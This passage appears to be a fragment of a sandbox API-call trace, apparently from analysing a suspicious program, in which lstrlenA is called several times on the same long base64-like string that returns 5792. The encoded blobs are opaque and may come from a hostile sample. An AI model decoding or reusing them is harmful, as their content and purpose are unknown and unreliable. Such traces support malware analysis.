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") returned 5792 [0163.807] lstrlenA (lpString="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") returned 5792 [0163.807] lstrlenA (lpString="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") returned 5792 [0163.807] lstrlenA (lpString="mdU+mIEkDgfqAIOO+CErOIcj/44TH/51GoHl5EfkG3f+ew2nb1YTiXbpn1RL3mBkXlplnjtmtnqobVFqvqHE8MS/80vPEVDx5f+EwcsmDicF79nKdrK+MFDmWIPfGEjuZHoSpu2Kls6XQkEqarD7k92x3+pcixC0T1MbnGqMBlAMJ38CRIqE5nH71RK3VwmK5KIrAh0R2vZ8qYJPmg75RdH/eJcF6Z35DMvVuyDqpYXOlyryaYb5PDLn8UOULsboAmXl1s7sJFW+WkiGQPPbh9ZiAof7QR/x1ZwaENHdnb28y7AHCF+Int5y1ocyt27nQyOHLuWFIvDtwZDbS2GJvewJCqj+wAXxqZT2rTGokNXqiT3LJE1KYoiEMqVAZh876Pb17V7Zs8+21vFbGSNgGYINYaR3a8uMuMw/cEQoQkUq1xhXMdw0LbrMh2Ey58AYJjKEO13YBgHLcdpBSQDhp3Uzm6FplQcIuBF5B+aW/+E3/+/ZPjpVIgjg2pNvlFa2BKnWanJjqDuVQn8KWIpjgJt24RyU2fVTUqh3d1nkQh1ILlXha2IY052vHhS4+Fu16rI4Q6xIh2rklxQrbLZ1IarjrAUF48abLVK3LUGtA5cM8J0QgJoVD4BXSiGcji3Nr9pvHaiUIf+0N28mb2vr3aXchTdD+WbBKQdz0Gu/4kKWBVtcKvqkzx8GVFxBSMUV2JZb+3ouUYyRhgbF/uI7lfPRVYtSPztoHz6H4GzWrALB56M8BFeWraI6KtmzyKB1ILtZvS1fDmo/z7N6EcyEUZAW+NLuqwnFFhm7h8ZWHuh3GruC/eVcGETHY3L7aejps7DMbpHKif7b2AjdvFTQepGXLPyTjM9lPaesuuR1CoZtJeTHbIBMZIZTgNgSFJ2rrr59CB46LZ+OaOOCaA1q